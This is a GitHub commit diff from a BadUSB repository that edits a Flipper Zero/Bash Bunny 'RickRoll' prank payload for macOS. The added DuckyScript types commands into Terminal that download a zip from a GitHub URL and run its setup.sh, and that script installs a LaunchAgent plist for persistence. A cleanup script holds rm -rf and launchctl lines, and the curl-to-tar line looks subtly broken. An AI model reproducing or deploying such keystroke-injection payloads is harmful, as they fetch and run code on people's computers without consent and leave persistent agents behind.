Skip to content

Commit

Permalink
zip file
Browse files Browse the repository at this point in the history
  • Loading branch information
startrk1995 committed May 2, 2022
1 parent 2d378f2 commit 5e244e8
Show file tree
Hide file tree
Showing 5 changed files with 5 additions and 32 deletions.
1 change: 0 additions & 1 deletion Bashbunny/MacOSX/RickRoll_MobyDick/Flipper/cleanup.sh
Original file line number Diff line number Diff line change
@@ -1,3 +1,2 @@
rm -rf /Volumes/BashBunny/payloads/switch2/*
rm -rf ~/Rickroll
launchctl bootout gui/501/com.youtube.rickroll.prank
Original file line number Diff line number Diff line change
Expand Up @@ -6,32 +6,12 @@ STRING terminal
DELAY 500
ENTER
DELAY 750

REM Copy-Paste previuos string
UP
CTRL c

REM Bigger shell script example
STRING cat > /dev/null << EOF
STRING mkdir $HOME/Rickroll
ENTER

STRING Hello World!
STRING cd $HOME/Rickroll
ENTER

DEFAULT_DELAY 50

STRING =
REPEAT 59
STRING curl -O https://raw.githubusercontent.com/startrk1995/BadUSB/main/Bashbunny/MacOSX/RickRoll_MobyDick/Flipper/package.zip | tar xz
ENTER
DELAY 200
STRING ./setup.sh
ENTER

STRING Flipper Zero BadUSB feature is compatible with USB Rubber Ducky script format
ENTER
STRING More information about script synax can be found here:
ENTER
STRING https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Duckyscript
ENTER

STRING EOF
ENTER

Binary file not shown.
4 changes: 0 additions & 4 deletions Bashbunny/MacOSX/RickRoll_MobyDick/Flipper/payload.txt

This file was deleted.

2 changes: 0 additions & 2 deletions Bashbunny/MacOSX/RickRoll_MobyDick/Flipper/setup.sh
Original file line number Diff line number Diff line change
@@ -1,5 +1,3 @@
mkdir $HOME/Rickroll
bash -c "cp /Volumes/BashBunny/payloads/switch2/* $HOME/Rickroll"
bash -c "sed -i -e \"s/blah/$USER/g\" $HOME/Rickroll/com.youtube.rickroll.prank.plist"
bash -c "cp $HOME/Rickroll/com.youtube.rickroll.prank.plist $HOME/Library/LaunchAgents/com.youtube.rickroll.prank.plist"
bash -c "chmod 644 $HOME/Library/LaunchAgents/com.youtube.rickroll.prank.plist"
Expand Down

0 comments on commit 5e244e8

Please sign in to comment.